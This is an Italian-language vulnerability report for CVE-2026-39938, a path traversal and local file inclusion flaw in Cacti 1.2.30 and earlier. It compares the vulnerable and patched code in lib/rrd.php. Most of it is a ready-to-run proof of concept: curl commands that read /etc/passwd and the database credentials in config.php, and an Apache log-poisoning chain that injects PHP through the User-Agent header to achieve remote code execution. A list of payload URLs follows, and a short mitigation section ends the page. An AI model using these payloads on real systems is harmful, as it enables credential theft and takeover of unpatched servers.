CVE-2026-39938: Cacti <= 1.2.30 - LFI non autenticato

Riepilogo esecutivo

Campo	Valore
CVE ID	CVE-2026-39938
Punteggio CVSS	9.8 (Critico)
Prodotto interessato	Cacti
Versioni interessate	<= 1.2.30
Versione corretta	1.2.31
Commit di correzione	9871f0c

Dettagli della vulnerabilità

Causa principale

La vulnerabilità esiste in lib/rrd.php dove il parametro graph_theme viene utilizzato direttamente senza sanificazione:

CODICE VULNERABILE:

if (isset($graph_data_array['graph_theme'])) {
    $rrdtheme = $config['base_path'] . '/include/themes/' . $graph_data_array['graph_theme'] . '/rrdtheme.php';
}

CODICE CORRETTO:

if (isset($graph_data_array['graph_theme'])) {
    $theme = basename($graph_data_array['graph_theme']);
    if ($theme === '' || $theme === '.' || $theme === '..') {
        $theme = get_selected_theme();
    }
    $rrdtheme = $config['base_path'] . '/include/themes/' . $theme . '/rrdtheme.php';
}

Il problema: nessuna validazione contro sequenze di path traversal ../, permettendo agli attaccanti di leggere file arbitrari senza autenticazione.

Proof of Concept (PoC) - Passaggi semplici

Passo 1: Verificare la vulnerabilità - Leggere /etc/passwd

curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../etc/passwd"

Risultato: Il contenuto di /etc/passwd verrà visualizzato nella risposta.

Passo 2: Leggere la configurazione del database

curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../include/config.php"

Risultato: Le credenziali del database (username, password) verranno esposte.

Passo 3: Esecuzione remota di codice tramite Log Poisoning

3.1 Iniettare codice PHP nel log Apache

curl -k -s "http://target-cacti/graph_image.php?local_graph_id=1" \
  -H "User-Agent: <?php system('id'); ?>"

3.2 Eseguire il codice includendo il file di log

curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../var/log/apache2/access.log"

Risultato: L'output del comando (es. uid=33(www-data)) verrà visualizzato.

Endpoint comuni testati

Esempi di URL PoC

Test LFI di base

http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../etc/passwd

Leggere la configurazione dell'applicazione

http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../include/config.php

Log Poisoning (Iniezione)

http://target-cacti/graph_image.php?local_graph_id=1

Con Header: User-Agent: <?php system('id'); ?>

Log Poisoning (Esecuzione)

http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../var/log/apache2/access.log

Mitigazione

Aggiornare alla versione corretta

cd /var/www/html/cacti
git fetch --tags
git checkout tags/release/1.2.31

Verificare l'applicazione della patch

grep -A 5 "if (isset(\$graph_data_array\['graph_theme'\]))" lib/rrd.php | grep basename

Mitigazione temporanea (.htaccess)

RewriteCond %{QUERY_STRING} (^|&)graph_theme=\.\./ [NC]
RewriteRule ^graph_image\.php$ - [F,L]

Riferimenti

W.P.E.F

Report generato per scopi di ricerca sulla sicurezza Data: 27 giugno 2026

`/graph_image.php`	`graph_theme`	`../../../../../../../etc/passwd`
`/graph_image.php`	`graph_theme`	`../../../../include/config.php`
`/graph_image.php`	`graph_theme`	`../../../../../../../var/log/apache2/access.log`

By-Poloss..-..CVE-2026-39938

Più Popolari